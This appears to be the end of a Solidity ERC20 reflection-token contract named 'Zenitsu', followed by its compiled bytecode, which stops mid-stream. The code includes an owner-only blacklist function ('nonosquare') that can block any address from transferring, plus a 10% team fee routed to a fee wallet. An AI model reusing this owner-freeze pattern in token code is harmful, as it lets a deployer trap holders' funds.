function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4000000000 * 10**9; _maxWalletSize = 6000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600781526020017f5a656e6974737500000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b6000680ad78ebc5ac6200000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b610962606461095483680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b680ad78ebc5ac6200000600f81905550680ad78ebc5ac6200000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f5a656e6974737500000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f83680ad78ebc5ac6200000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16680ad78ebc5ac62000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550673782dace9d900000600f819055506753444835ec5800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a81905550600a600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a81905550600a600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b600080600060085490506000680ad78ebc5ac62000009050612333680ad78ebc5ac6200000600854611cf790919063ffffffff16565b82101561235257600854680ad78ebc5ac620000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c